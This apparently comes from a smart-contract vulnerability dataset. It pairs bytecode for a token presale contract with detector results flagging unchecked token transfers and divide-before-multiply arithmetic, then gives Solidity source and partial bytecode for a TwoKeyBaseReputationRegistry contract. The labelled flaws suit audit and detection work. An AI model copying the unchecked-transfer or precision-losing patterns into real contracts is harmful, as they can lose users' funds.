108f89190611763565b90508091505090565b610909611599565b73ffffffffffffffffffffffffffffffffffffffff16610927611110565b73ffffffffffffffffffffffffffffffffffffffff161461097d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610974906119c3565b60405180910390fd5b600047905060003390508073ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156109cd573d6000803e3d6000fd5b50813373ffffffffffffffffffffffffffffffffffffffff167f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a942436460405160405180910390a35050565b60065481565b60055481565b60075481565b60035481565b600a54421015610a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6a90611963565b60405180910390fd5b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411610af5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aec90611a23565b60405180910390fd5b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000610b8b600554611241565b905060008183670de0b6b3a7640000610ba49190611c82565b610bae9190611ae0565b90508060076000828254610bc29190611cdc565b92505081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610c269291906118ff565b602060405180830381600087803b158015610c4057600080fd5b505af1158015610c54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c789190611661565b50803373ffffffffffffffffffffffffffffffffffffffff167fe9aa550fd75d0d28e07fa9dd67d3ae705678776f6c4a75abd09534f93e7d790760405160405180910390a3505050565b600a5481565b60095481565b600c6020528060005260406000206000915090505481565b600080600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000610d38600554611241565b905060008183670de0b6b3a7640000610d519190611c82565b610d5b9190611ae0565b9050809350505050919050565b610d70611599565b73ffffffffffffffffffffffffffffffffffffffff16610d8e611110565b73ffffffffffffffffffffffffffffffffffffffff1614610de4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddb906119c3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b6020528060005260406000206000915090505481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610ee8611599565b73ffffffffffffffffffffffffffffffffffffffff16610f06611110565b73ffffffffffffffffffffffffffffffffffffffff1614610f5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f53906119c3565b60405180910390fd5b600a54421015610fa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9890611963565b60405180910390fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610ffe91906118e4565b60206040518083038186803b15801561101657600080fd5b505afa15801561102a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104e91906116bb565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb336007548461109d9190611cdc565b6040518363ffffffff1660e01b81526004016110ba9291906118ff565b602060405180830381600087803b1580156110d457600080fd5b505af11580156110e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110c9190611661565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080611147600554611241565b9050600081600654670de0b6b3a76400006111629190611c82565b61116c9190611ae0565b90508060035461117c9190611cdc565b9250505090565b600080600080600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663feaf968c6040518163ffffffff1660e01b815260040160a06040518083038186803b1580156111f457600080fd5b505afa158015611208573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061122c91906116e8565b94509450945094509450839550505050505090565b60008061124c611183565b905060008113611291576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128890611a03565b60405180910390fd5b8061129a610855565b600a6112a69190611b64565b846112b19190611c82565b6112bb9190611ae0565b915050919050565b6112cb611599565b73ffffffffffffffffffffffffffffffffffffffff166112e9611110565b73ffffffffffffffffffffffffffffffffffffffff161461133f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611336906119c3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a690611943565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060106004546114a49190611c82565b905060006114b182611241565b9050600081600654670de0b6b3a76400006114cc9190611c82565b6114d69190611ae0565b9050806003546114e69190611cdc565b935050505090565b600081600654670de0b6b3a76400006115079190611c82565b6115119190611ae0565b90505b60035481118015611534575060106004546005546115329190611ae0565b105b156115955760026005546115489190611c82565b600581905550600260075461155d9190611ae0565b60078190555061156e600554611241565b600654670de0b6b3a76400006115849190611c82565b61158e9190611ae0565b9050611514565b5050565b600033905090565b6000813590506115b081611f63565b92915050565b6000815190506115c581611f7a565b92915050565b6000815190506115da81611f91565b92915050565b6000813590506115ef81611fa8565b92915050565b60008151905061160481611fa8565b92915050565b60008151905061161981611fd6565b92915050565b60008151905061162e81611fbf565b92915050565b60006020828403121561164a57611649611de3565b5b6000611658848285016115a1565b91505092915050565b60006020828403121561167757611676611de3565b5b6000611685848285016115b6565b91505092915050565b6000602082840312156116a4576116a3611de3565b5b60006116b2848285016115e0565b91505092915050565b6000602082840312156116d1576116d0611de3565b5b60006116df848285016115f5565b91505092915050565b600080600080600060a0868803121561170457611703611de3565b5b60006117128882890161160a565b9550506020611723888289016115cb565b9450506040611734888289016115f5565b9350506060611745888289016115f5565b92505060806117568882890161160a565b9150509295509295909350565b60006020828403121561177957611778611de3565b5b60006117878482850161161f565b91505092915050565b61179981611d10565b82525050565b6117a881611d2e565b82525050565b60006117bb602683611a79565b91506117c682611df5565b604082019050919050565b60006117de601883611a79565b91506117e982611e44565b602082019050919050565b6000611801601283611a79565b915061180c82611e6d565b602082019050919050565b6000611824601783611a79565b915061182f82611e96565b602082019050919050565b6000611847602083611a79565b915061185282611ebf565b602082019050919050565b600061186a601f83611a79565b915061187582611ee8565b602082019050919050565b600061188d600d83611a79565b915061189882611f11565b602082019050919050565b60006118b0601283611a79565b91506118bb82611f3a565b602082019050919050565b6118cf81611d58565b82525050565b6118de81611d62565b82525050565b60006020820190506118f96000830184611790565b92915050565b60006040820190506119146000830185611790565b61192160208301846118c6565b9392505050565b600060208201905061193d600083018461179f565b92915050565b6000602082019050818103600083015261195c816117ae565b9050919050565b6000602082019050818103600083015261197c816117d1565b9050919050565b6000602082019050818103600083015261199c816117f4565b9050919050565b600060208201905081810360008301526119bc81611817565b9050919050565b600060208201905081810360008301526119dc8161183a565b9050919050565b600060208201905081810360008301526119fc8161185d565b9050919050565b60006020820190508181036000830152611a1c81611880565b9050919050565b60006020820190508181036000830152611a3c816118a3565b9050919050565b6000602082019050611a5860008301846118c6565b92915050565b6000602082019050611a7360008301846118d5565b92915050565b600082825260208201905092915050565b6000611a9582611d58565b9150611aa083611d58565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ad557611ad4611d85565b5b828201905092915050565b6000611aeb82611d58565b9150611af683611d58565b925082611b0657611b05611db4565b5b828204905092915050565b6000808291508390505b6001851115611b5b57808604811115611b3757611b36611d85565b5b6001851615611b465780820291505b8081029050611b5485611de8565b9450611b1b565b94509492505050565b6000611b6f82611d58565b9150611b7a83611d62565b9250611ba77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611baf565b905092915050565b600082611bbf5760019050611c7b565b81611bcd5760009050611c7b565b8160018114611be35760028114611bed57611c1c565b6001915050611c7b565b60ff841115611bff57611bfe611d85565b5b8360020a915084821115611c1657611c15611d85565b5b50611c7b565b5060208310610133831016604e8410600b8410161715611c515782820a905083811115611c4c57611c4b611d85565b5b611c7b565b611c5e8484846001611b11565b92509050818404811115611c7557611c74611d85565b5b81810290505b9392505050565b6000611c8d82611d58565b9150611c9883611d58565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611cd157611cd0611d85565b5b828202905092915050565b6000611ce782611d58565b9150611cf283611d58565b925082821015611d0557611d04611d85565b5b828203905092915050565b6000611d1b82611d38565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600069ffffffffffffffffffff82169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600080fd5b60008160011c9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f436c61696d20706572696f64206e6f7420737461727465640000000000000000600082015250565b7f496e73756666696369656e742066756e64730000000000000000000000000000600082015250565b7f49742773206e6f742070726573616c6520706572696f64000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5468657265206973206e6f206d6f726520746f6b656e7320746f2073656c6c00600082015250565b7f496e76616c696420707269636500000000000000000000000000000000000000600082015250565b7f5573657220686173204e4f20746f6b656e730000000000000000000000000000600082015250565b611f6c81611d10565b8114611f7757600080fd5b50565b611f8381611d22565b8114611f8e57600080fd5b50565b611f9a81611d2e565b8114611fa557600080fd5b50565b611fb181611d58565b8114611fbc57600080fd5b50565b611fc881611d62565b8114611fd357600080fd5b50565b611fdf81611d6f565b8114611fea57600080fd5b5056fea26469706673582212208af13abce4bb35551cac76bac8d838109eeaac862ab6c1b9d22172d18d0a07a964736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,716 |
0xd6966cc15f3e86947cd920558676c31fc2e67fa1
|
pragma solidity ^0.4.13;
contract IStructuredStorage {
function setProxyLogicContractAndDeployer(address _proxyLogicContract, address _deployer) external;
function setProxyLogicContract(address _proxyLogicContract) external;
// *** Getter Methods ***
function getUint(bytes32 _key) external view returns(uint);
function getString(bytes32 _key) external view returns(string);
function getAddress(bytes32 _key) external view returns(address);
function getBytes(bytes32 _key) external view returns(bytes);
function getBool(bytes32 _key) external view returns(bool);
function getInt(bytes32 _key) external view returns(int);
function getBytes32(bytes32 _key) external view returns(bytes32);
// *** Getter Methods For Arrays ***
function getBytes32Array(bytes32 _key) external view returns (bytes32[]);
function getAddressArray(bytes32 _key) external view returns (address[]);
function getUintArray(bytes32 _key) external view returns (uint[]);
function getIntArray(bytes32 _key) external view returns (int[]);
function getBoolArray(bytes32 _key) external view returns (bool[]);
// *** Setter Methods ***
function setUint(bytes32 _key, uint _value) external;
function setString(bytes32 _key, string _value) external;
function setAddress(bytes32 _key, address _value) external;
function setBytes(bytes32 _key, bytes _value) external;
function setBool(bytes32 _key, bool _value) external;
function setInt(bytes32 _key, int _value) external;
function setBytes32(bytes32 _key, bytes32 _value) external;
// *** Setter Methods For Arrays ***
function setBytes32Array(bytes32 _key, bytes32[] _value) external;
function setAddressArray(bytes32 _key, address[] _value) external;
function setUintArray(bytes32 _key, uint[] _value) external;
function setIntArray(bytes32 _key, int[] _value) external;
function setBoolArray(bytes32 _key, bool[] _value) external;
// *** Delete Methods ***
function deleteUint(bytes32 _key) external;
function deleteString(bytes32 _key) external;
function deleteAddress(bytes32 _key) external;
function deleteBytes(bytes32 _key) external;
function deleteBool(bytes32 _key) external;
function deleteInt(bytes32 _key) external;
function deleteBytes32(bytes32 _key) external;
}
contract ITwoKeyAcquisitionLogicHandler {
function canContractorWithdrawUnsoldTokens() public view returns (bool);
bool public IS_CAMPAIGN_ACTIVE;
function getEstimatedTokenAmount(uint conversionAmountETHWei, bool isFiatConversion) public view returns (uint, uint);
function getReferrers(address customer) public view returns (address[]);
function updateRefchainRewards(address _converter, uint _conversionId, uint totalBounty2keys) public;
function getReferrerPlasmaTotalEarnings(address _referrer) public view returns (uint);
function checkAllRequirementsForConversionAndTotalRaised(address converter, uint conversionAmount, bool isFiatConversion, uint debtPaid) external returns (bool,uint);
}
contract ITwoKeyCampaign {
function getNumberOfUsersToContractor(
address _user
)
public
view
returns (uint);
function getReceivedFrom(
address _receiver
)
public
view
returns (address);
function balanceOf(
address _owner
)
public
view
returns (uint256);
function getReferrerCut(
address me
)
public
view
returns (uint256);
function getReferrerPlasmaBalance(
address _influencer
)
public
view
returns (uint);
function updateReferrerPlasmaBalance(
address _influencer,
uint _balance
)
public;
function updateModeratorRewards(
uint moderatorTokens
)
public;
address public logicHandler;
address public conversionHandler;
}
contract ITwoKeyCampaignValidator {
function isCampaignValidated(address campaign) public view returns (bool);
function validateAcquisitionCampaign(address campaign, string nonSingletonHash) public;
function validateDonationCampaign(address campaign, address donationConversionHandler, address donationLogicHandler, string nonSingletonHash) public;
function validateCPCCampaign(address campaign, string nonSingletonHash) public;
}
contract ITwoKeyMaintainersRegistry {
function checkIsAddressMaintainer(address _sender) public view returns (bool);
function checkIsAddressCoreDev(address _sender) public view returns (bool);
function addMaintainers(address [] _maintainers) public;
function addCoreDevs(address [] _coreDevs) public;
function removeMaintainers(address [] _maintainers) public;
function removeCoreDevs(address [] _coreDevs) public;
}
contract ITwoKeyReg {
function addTwoKeyEventSource(address _twoKeyEventSource) public;
function changeTwoKeyEventSource(address _twoKeyEventSource) public;
function addWhereContractor(address _userAddress, address _contractAddress) public;
function addWhereModerator(address _userAddress, address _contractAddress) public;
function addWhereReferrer(address _userAddress, address _contractAddress) public;
function addWhereConverter(address _userAddress, address _contractAddress) public;
function getContractsWhereUserIsContractor(address _userAddress) public view returns (address[]);
function getContractsWhereUserIsModerator(address _userAddress) public view returns (address[]);
function getContractsWhereUserIsRefferer(address _userAddress) public view returns (address[]);
function getContractsWhereUserIsConverter(address _userAddress) public view returns (address[]);
function getTwoKeyEventSourceAddress() public view returns (address);
function addName(string _name, address _sender, string _fullName, string _email, bytes signature) public;
function addNameByUser(string _name) public;
function getName2Owner(string _name) public view returns (address);
function getOwner2Name(address _sender) public view returns (string);
function getPlasmaToEthereum(address plasma) public view returns (address);
function getEthereumToPlasma(address ethereum) public view returns (address);
function checkIfTwoKeyMaintainerExists(address _maintainer) public view returns (bool);
function getUserData(address _user) external view returns (bytes);
}
contract ITwoKeySingletoneRegistryFetchAddress {
function getContractProxyAddress(string _contractName) public view returns (address);
function getNonUpgradableContractAddress(string contractName) public view returns (address);
function getLatestCampaignApprovedVersion(string campaignType) public view returns (string);
}
interface ITwoKeySingletonesRegistry {
/**
* @dev This event will be emitted every time a new proxy is created
* @param proxy representing the address of the proxy created
*/
event ProxyCreated(address proxy);
/**
* @dev This event will be emitted every time a new implementation is registered
* @param version representing the version name of the registered implementation
* @param implementation representing the address of the registered implementation
* @param contractName is the name of the contract we added new version
*/
event VersionAdded(string version, address implementation, string contractName);
/**
* @dev Registers a new version with its implementation address
* @param version representing the version name of the new implementation to be registered
* @param implementation representing the address of the new implementation to be registered
*/
function addVersion(string _contractName, string version, address implementation) public;
/**
* @dev Tells the address of the implementation for a given version
* @param _contractName is the name of the contract we're querying
* @param version to query the implementation of
* @return address of the implementation registered for the given version
*/
function getVersion(string _contractName, string version) public view returns (address);
}
contract ITwoKeyBaseReputationRegistryStorage is IStructuredStorage {
}
contract ITwoKeySingletonUtils {
address public TWO_KEY_SINGLETON_REGISTRY;
// Modifier to restrict method calls only to maintainers
modifier onlyMaintainer {
address twoKeyMaintainersRegistry = getAddressFromTwoKeySingletonRegistry("TwoKeyMaintainersRegistry");
require(ITwoKeyMaintainersRegistry(twoKeyMaintainersRegistry).checkIsAddressMaintainer(msg.sender));
_;
}
/**
* @notice Function to get any singleton contract proxy address from TwoKeySingletonRegistry contract
* @param contractName is the name of the contract we're looking for
*/
function getAddressFromTwoKeySingletonRegistry(
string contractName
)
internal
view
returns (address)
{
return ITwoKeySingletoneRegistryFetchAddress(TWO_KEY_SINGLETON_REGISTRY)
.getContractProxyAddress(contractName);
}
function getNonUpgradableContractAddressFromTwoKeySingletonRegistry(
string contractName
)
internal
view
returns (address)
{
return ITwoKeySingletoneRegistryFetchAddress(TWO_KEY_SINGLETON_REGISTRY)
.getNonUpgradableContractAddress(contractName);
}
}
contract UpgradeabilityStorage {
// Versions registry
ITwoKeySingletonesRegistry internal registry;
// Address of the current implementation
address internal _implementation;
/**
* @dev Tells the address of the current implementation
* @return address of the current implementation
*/
function implementation() public view returns (address) {
return _implementation;
}
}
contract Upgradeable is UpgradeabilityStorage {
/**
* @dev Validates the caller is the versions registry.
* @param sender representing the address deploying the initial behavior of the contract
*/
function initialize(address sender) public payable {
require(msg.sender == address(registry));
}
}
contract TwoKeyBaseReputationRegistry is Upgradeable, ITwoKeySingletonUtils {
/**
* Storage keys are stored on the top. Here they are in order to avoid any typos
*/
string constant _address2contractorGlobalReputationScoreWei = "address2contractorGlobalReputationScoreWei";
string constant _address2converterGlobalReputationScoreWei = "address2converterGlobalReputationScoreWei";
string constant _plasmaAddress2referrerGlobalReputationScoreWei = "plasmaAddress2referrerGlobalReputationScoreWei";
/**
* Keys for the addresses we're accessing
*/
string constant _twoKeyCampaignValidator = "TwoKeyCampaignValidator";
string constant _twoKeyRegistry = "TwoKeyRegistry";
bool initialized;
ITwoKeyBaseReputationRegistryStorage public PROXY_STORAGE_CONTRACT;
/**
* @notice Event which will be emitted every time reputation of a user
* is getting changed. Either positive or negative.
*/
event ReputationUpdated(
address _plasmaAddress,
string _role, //role in (CONTRACTOR,REFERRER,CONVERTER)
string _type, // type in (MONETARY,BUDGET,FEEDBACK)
int _points,
address _campaignAddress
);
/**
* @notice Since using singletone pattern, this is replacement for the constructor
* @param _twoKeySingletoneRegistry is the address of registry of all singleton contracts
*/
function setInitialParams(
address _twoKeySingletoneRegistry,
address _proxyStorage
)
public
{
require(initialized == false);
TWO_KEY_SINGLETON_REGISTRY = _twoKeySingletoneRegistry;
PROXY_STORAGE_CONTRACT = ITwoKeyBaseReputationRegistryStorage(_proxyStorage);
initialized = true;
}
/**
* @notice Modifier to validate that the call is coming from validated campaign
*/
modifier isCodeValid() {
address twoKeyCampaignValidator = getAddressFromTwoKeySingletonRegistry(_twoKeyCampaignValidator);
require(ITwoKeyCampaignValidator(twoKeyCampaignValidator).isCampaignValidated(msg.sender) == true);
_;
}
/**
* @notice If the conversion executed event occured, 10 points for the converter and contractor + 10/distance to referrer
* @param converter is the address of the converter
* @param contractor is the address of the contractor
* @param campaign is the address of the acquisition campaign so we can get referrers from there
*/
function updateOnConversionExecutedEvent(
address converter,
address contractor,
address campaign
)
public
isCodeValid
{
int initialRewardWei = 10*(10**18);
updateContractorScore(contractor, initialRewardWei);
bytes32 keyHashConverterScore = keccak256(_address2converterGlobalReputationScoreWei, converter);
int converterScore = PROXY_STORAGE_CONTRACT.getInt(keyHashConverterScore);
PROXY_STORAGE_CONTRACT.setInt(keyHashConverterScore, converterScore + initialRewardWei);
emit ReputationUpdated(
plasmaOf(converter),
"CONVERTER",
"MONETARY",
initialRewardWei,
msg.sender
);
address[] memory referrers = getReferrers(converter, campaign);
int j=0;
int len = int(referrers.length) - 1;
for(int i=len; i>=0; i--) {
bytes32 keyHashReferrerScore = keccak256(_plasmaAddress2referrerGlobalReputationScoreWei, referrers[uint(i)]);
int referrerScore = PROXY_STORAGE_CONTRACT.getInt(keyHashReferrerScore);
int reward = initialRewardWei/(j+1);
PROXY_STORAGE_CONTRACT.setInt(keyHashReferrerScore, referrerScore + reward);
emit ReputationUpdated(
referrers[uint(i)],
"REFERRER",
"MONETARY",
reward,
msg.sender
);
j++;
}
}
/**
* @notice If the conversion rejected event occured, giving penalty points
* @param converter is the address of the converter
* @param contractor is the address of the contractor
* @param campaign is the address of the acquisition campaign so we can get referrers from there
*/
function updateOnConversionRejectedEvent(
address converter,
address contractor,
address campaign
)
public
isCodeValid
{
int initialRewardWei = 5*(10**18);
updateContractorScoreOnRejectedConversion(contractor, initialRewardWei);
bytes32 keyHashConverterScore = keccak256(_address2converterGlobalReputationScoreWei, converter);
int converterScore = PROXY_STORAGE_CONTRACT.getInt(keyHashConverterScore);
PROXY_STORAGE_CONTRACT.setInt(keyHashConverterScore, converterScore - initialRewardWei);
emit ReputationUpdated(
plasmaOf(converter),
"CONVERTER",
"MONETARY",
initialRewardWei * (-1),
msg.sender
);
address[] memory referrers = getReferrers(converter, campaign);
int j=0;
for(int i=int(referrers.length)-1; i>=0; i--) {
bytes32 keyHashReferrerScore = keccak256(_plasmaAddress2referrerGlobalReputationScoreWei, referrers[uint(i)]);
int referrerScore = PROXY_STORAGE_CONTRACT.getInt(keyHashReferrerScore);
int reward = initialRewardWei/(j+1);
PROXY_STORAGE_CONTRACT.setInt(keyHashReferrerScore, referrerScore - reward);
emit ReputationUpdated(
referrers[uint(i)],
"REFERRER",
"MONETARY",
reward*(-1),
msg.sender
);
j++;
}
}
function updateContractorScoreOnRejectedConversion(
address contractor,
int reward
)
internal
{
updateContractorScore(contractor, reward*(-1));
}
function updateContractorScore(
address contractor,
int reward
)
internal
{
bytes32 keyHashContractorScore = keccak256(_address2contractorGlobalReputationScoreWei, contractor);
int contractorScore = PROXY_STORAGE_CONTRACT.getInt(keyHashContractorScore);
PROXY_STORAGE_CONTRACT.setInt(keyHashContractorScore, contractorScore + reward);
emit ReputationUpdated(
plasmaOf(contractor),
"CONTRACTOR",
"MONETARY",
reward,
msg.sender
);
}
/**
* @notice Internal getter from Acquisition campaign to fetch logic handler address
*/
function getLogicHandlerAddress(
address campaign
)
internal
view
returns (address)
{
return ITwoKeyCampaign(campaign).logicHandler();
}
/**
* @notice Internal getter from Acquisition campaign to fetch conersion handler address
*/
function getConversionHandlerAddress(
address campaign
)
internal
view
returns (address)
{
return ITwoKeyCampaign(campaign).conversionHandler();
}
/**
* @notice Function to get all referrers in the chain for specific converter
* @param converter is the converter we want to get referral chain
* @param campaign is the acquisition campaign contract
* @return array of addresses (referrers)
*/
function getReferrers(
address converter,
address campaign
)
internal
view
returns (address[])
{
address logicHandlerAddress = getLogicHandlerAddress(campaign);
return ITwoKeyAcquisitionLogicHandler(logicHandlerAddress).getReferrers(converter);
}
/**
* @notice Function to get reputation for user in case he's an influencer or converter
*/
function getReputationForUser(
address _plasmaAddress
)
public
view
returns (int,int)
{
address twoKeyRegistry = ITwoKeySingletoneRegistryFetchAddress(TWO_KEY_SINGLETON_REGISTRY).getContractProxyAddress(_twoKeyRegistry);
address ethereumAddress = ITwoKeyReg(twoKeyRegistry).getPlasmaToEthereum(_plasmaAddress);
bytes32 keyHashConverterScore = keccak256(_address2converterGlobalReputationScoreWei, ethereumAddress);
int converterReputationScore = PROXY_STORAGE_CONTRACT.getInt(keyHashConverterScore);
bytes32 keyHashReferrerScore = keccak256(_plasmaAddress2referrerGlobalReputationScoreWei, _plasmaAddress);
int referrerReputationScore = PROXY_STORAGE_CONTRACT.getInt(keyHashReferrerScore);
return (converterReputationScore, referrerReputationScore);
}
function getGlobalReputationForUser(
address _plasmaAddress
)
public
view
returns (int)
{
int converterReputationScore;
int referrerReputationScore;
(converterReputationScore, referrerReputationScore) = getReputationForUser(_plasmaAddress);
return (converterReputationScore + referrerReputationScore);
}
function getGlobalReputationForUsers(
address [] plasmaAddresses
)
public
view
returns (int[])
{
uint len = plasmaAddresses.length;
int [] memory reputations = new int[](len);
uint i;
for(i=0; i<len; i++) {
reputations[i] = getGlobalReputationForUser(plasmaAddresses[i]);
}
return (reputations);
}
/**
* @notice Function to get reputation for user in case he's contractor
*/
function getReputationForContractor(
address _plasmaAddress
)
public
view
returns (int)
{
address twoKeyRegistry = ITwoKeySingletoneRegistryFetchAddress(TWO_KEY_SINGLETON_REGISTRY).getContractProxyAddress(_twoKeyRegistry);
address ethereumAddress = ITwoKeyReg(twoKeyRegistry).getPlasmaToEthereum(_plasmaAddress);
bytes32 keyHashContractorScore = keccak256(_address2contractorGlobalReputationScoreWei, ethereumAddress);
int contractorReputationScore = PROXY_STORAGE_CONTRACT.getInt(keyHashContractorScore);
return (contractorReputationScore);
}
function getGlobalReputationForContractors(
address [] plasmaAddresses
)
public
view
returns (int[])
{
uint len = plasmaAddresses.length;
int [] memory reputations = new int[](len);
uint i;
for(i=0; i<len; i++) {
reputations[i] = getReputationForContractor(plasmaAddresses[i]);
}
return (reputations);
}
function plasmaOf(
address _address
)
internal
view
returns (address)
{
return ITwoKeyReg(getAddressFromTwoKeySingletonRegistry(_twoKeyRegistry)).getEthereumToPlasma(_address);
}
}
|
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305dbe412146100bf5780630c34a68f14610122578063105005a1146101a55780632b4e38a6146101fc5780632e910884146102535780634a7501bc146102aa5780634c51cd441461032d5780635c60da1b1461038b5780638830afa0146103e2578063c1bcdde114610439578063c4d66de8146104f4578063e3542ce91461052a575b600080fd5b3480156100cb57600080fd5b50610120600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105e5565b005b34801561012e57600080fd5b506101a3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106a8565b005b3480156101b157600080fd5b506101ba610fd5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561020857600080fd5b5061023d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ffb565b6040518082815260200191505060405180910390f35b34801561025f57600080fd5b50610294600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061101d565b6040518082815260200191505060405180910390f35b3480156102b657600080fd5b5061032b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061144b565b005b34801561033957600080fd5b5061036e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611db6565b604051808381526020018281526020019250505060405180910390f35b34801561039757600080fd5b506103a06123c7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103ee57600080fd5b506103f76123f1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561044557600080fd5b5061049d60048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050612417565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156104e05780820151818401526020810190506104c5565b505050509050019250505060405180910390f35b610528600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124b6565b005b34801561053657600080fd5b5061058e60048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050612514565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105d15780820151818401526020810190506105b6565b505050509050019250505060405180910390f35b60001515600260149054906101000a900460ff16151514151561060757600080fd5b81600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600260146101000a81548160ff0219169083151502179055505050565b6000806000606060008060008060008060006106f86040805190810160405280601781526020017f54776f4b657943616d706169676e56616c696461746f720000000000000000008152506125b3565b9050600115158173ffffffffffffffffffffffffffffffffffffffff166371c6a34f336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561079957600080fd5b505af11580156107ad573d6000803e3d6000fd5b505050506040513d60208110156107c357600080fd5b810190808051906020019092919050505015151415156107e257600080fd5b678ac7230489e800009a506107f78d8c6126ed565b606060405190810160405280602981526020017f6164647265737332636f6e766572746572476c6f62616c52657075746174696f81526020017f6e53636f726557656900000000000000000000000000000000000000000000008152508e6040518083805190602001908083835b60208310151561088a5780518252602082019150602081019050602083039250610865565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014019250505060405180910390209950600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dc97d9628b6040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180826000